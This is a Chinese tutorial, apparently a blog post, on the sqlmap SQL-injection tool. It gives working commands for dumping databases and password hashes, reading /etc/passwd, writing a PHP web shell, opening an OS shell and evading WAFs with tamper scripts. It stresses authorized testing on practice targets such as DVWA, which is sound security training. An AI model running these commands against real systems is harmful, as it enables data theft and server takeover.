SQLmap使用教程

SQLMap 使用教程:从入门到进阶(中文详解)

大家好!SQLMap 是一款开源的自动化 SQL 注入渗透测试工具,由 sqlmapproject 开发,它可以检测、利用 SQL 注入漏洞,并接管数据库服务器。 它支持多种数据库(如 MySQL、Oracle、PostgreSQL、SQL Server、Access 等),并具备强大的功能,包括数据库指纹识别、数据枚举、文件读写、命令执行等。 本教程基于最新版本(当前为 1.6.6#stable),适合初学者和进阶用户,强调合法使用(如渗透测试环境)。警告:仅用于授权测试,非法使用可能违法!


1. SQLMap 简介

SQLMap 采用五种独特注入技术:

  • 基于布尔盲注:根据页面返回判断条件真假。
  • 基于时间盲注:通过延迟判断。
  • 基于错误注入:利用数据库错误信息。
  • 联合查询注入:利用 UNION SELECT。
  • 堆叠查询注入:执行多条 SQL 语句。

优势

  • 自动化程度高,支持批量测试。
  • 跨平台(Python 2.6+ 或 3.x)。
  • 集成 tamper 脚本绕过 WAF。
  • 支持 GET、POST、Cookie 等注入方式。

适用场景:Web 渗透测试、漏洞扫描、数据库枚举。


2. 安装 SQLMap

SQLMap 支持 Windows、Linux、macOS。推荐使用 Git 克隆最新版。

方式一:源码安装(推荐)

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py  # 或 python3 sqlmap.py

方式二:Kali/Debian 系统直接安装

sudo apt update
sudo apt install sqlmap
sqlmap -hh  # 查看帮助

方式三:Windows 安装

  • 下载 ZIP 包解压。
  • 确保 Python 环境,运行 python sqlmap.py

验证安装

sqlmap --version  # 显示版本信息

依赖:Python 3.x,无需额外 pip 安装(内置库支持)。


3. 基本语法和常用选项

SQLMap 的基本语法:

sqlmap [选项] -u URL  # 或 -r 请求文件

核心选项分类

使用 -h 查看完整帮助。以下是常用选项:

选项描述示例
-u URL指定目标 URL(GET 注入)sqlmap -u "http://example.com/page?id=1"
-r FILE从文件加载 HTTP 请求(POST/Cookie)sqlmap -r request.txt
–data=”KEY=VALUE”POST 数据sqlmap -u URL --data="username=admin&password=123"
–cookie=”NAME=VALUE”Cookie 注入sqlmap -u URL --cookie="session=abc123"
–dbms=DB指定数据库类型--dbms=mysql
–level=1-5注入点检测级别(默认1,5最高)--level=3
–risk=1-3风险级别(默认1,3最高)--risk=2
–batch自动模式,无需确认--batch
-v 0-6详细程度(默认1)-v 3(显示 payload)
–tamper=SCRIPT绕过 WAF 的 tamper 脚本--tamper=space2comment
–delay=SECS请求延迟(防 WAF)--delay=1
–threads=NUM多线程数(默认1)--threads=5

目标指定

  • GET:-u "http://example.com/?id=1"
  • POST:使用 BurpSuite 抓包保存为 request.txt,然后 -r request.txt -p "id"(指定参数)。

4. 基础使用:检测和枚举

假设目标 URL:http://example.com/page.php?id=1

步骤1:判断注入点和类型

sqlmap -u "http://example.com/page.php?id=1" --batch  # 自动检测
  • 输出:显示注入类型(如 Boolean-based blind)、数据库类型等。

步骤2:枚举数据库信息

  • 获取所有数据库:sqlmap -u URL --dbs
  • 获取当前数据库:sqlmap -u URL --current-db
  • 获取当前用户:sqlmap -u URL --current-user
  • 检查 DBA 权限:sqlmap -u URL --is-dba

步骤3:枚举表和列

  • 指定数据库的所有表:sqlmap -u URL -D db_name --tables
  • 指定表的所有列:sqlmap -u URL -D db_name -T table_name --columns
  • 示例:
  sqlmap -u "http://example.com/page.php?id=1" -D security --tables  # 列出 security 库的表
  sqlmap -u URL -D security -T users --columns  # 列出 users 表的列

步骤4:数据导出(Dump)

  • 导出指定列:sqlmap -u URL -D db_name -T table_name -C "username,password" --dump
  • 导出整个表:sqlmap -u URL -D db_name -T table_name --dump
  • 导出所有数据库:sqlmap -u URL --dump-all(小心使用,大量数据)。

搜索功能

  • 搜索包含特定字段的表:sqlmap -u URL --search -C "password"

5. 进阶使用:文件操作和命令执行

文件读写

  • 读取文件:sqlmap -u URL --file-read="/etc/passwd" --batch
  • 写入文件:sqlmap -u URL --file-write="local_shell.php" --file-dest="/var/www/html/shell.php"
  • 需要 DBA 权限。

OS Shell(命令执行)

  • 获取系统 Shell:sqlmap -u URL --os-shell
  • SQLMap 会上传临时文件(如 tmpblwkd.php),输入命令如 whoami
  • 退出:输入 xq 删除临时文件。

绕过 WAF

  • 使用 tamper 脚本:sqlmap -u URL --tamper=space2comment,between(替换空格为注释)。
  • 常见脚本:randomcase(随机大小写)、unmagicquotes(绕过 magic_quotes)。
  • 延迟与代理:--delay=2 --proxy=http://127.0.0.1:8080

批量测试

  • 从文件批量 URL:sqlmap -m urls.txt --batch
  • Google 搜索注入:sqlmap -g --batch(自动从 Google 抓取 URL)。

6. 实战示例

示例1:GET 注入检测与导出

sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc" --dbms=mysql --dump-all
  • 检测 DVWA 的 SQL 注入,导出所有数据。

示例2:POST 注入(使用 Burp 抓包)

  1. 用 Burp 拦截 POST 请求,保存为 request.txt
  2. “`bash
    sqlmap -r request.txt -p “username” –dbms=mysql –dbs
- 指定参数 `username` 注入。

#### 示例3:Cookie 注入

bash
sqlmap -u “http://example.com/page” –cookie=”id=1; session=abc” –level=3 –risk=2 –dump

#### 示例4:读取用户密码并执行命令

bash
sqlmap -u URL –users –passwords # 获取用户哈希
sqlmap -u URL –os-shell # 执行 whoami
“`


7. 注意事项与最佳实践

  1. 合法性:仅在授权环境下使用,避免扫描生产系统。
  2. 性能优化
  • --batch 自动化测试。
  • --threads=10 加速,但小心被封 IP。
  • --eta 显示预计时间。
  1. 常见问题
  • 无注入:提高 --level=5 --risk=3
  • WAF 拦截:用 --tamper--random-agent 随机 User-Agent。
  • HTTPS:加 --force-ssl
  • 大文件导出:用 --start=1 --stop=100 分页。
  1. 调试-v 4 显示 HTTP 请求,结合 Wireshark 分析。
  2. 更新:定期 git pull 获取最新版。
  3. 替代工具:NoSQLMap(NoSQL 注入)、jSQL Injection(Java 版)。

风险:高风险选项可能导致数据库崩溃,生产环境慎用。


8. 总结

SQLMap 是 SQL 注入测试的“瑞士军刀”,从简单检测到高级利用,一站式解决。通过掌握 -u/-r 指定目标、--dbs/--dump 枚举数据,以及 tamper 绕过,你能高效进行渗透测试。实践是关键,建议在 DVWA 或 SQLi-Labs 等靶场练习。 如果需要特定场景(如 DVWA 完整案例)或 tamper 脚本详解,请告诉我,我可以进一步扩展!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注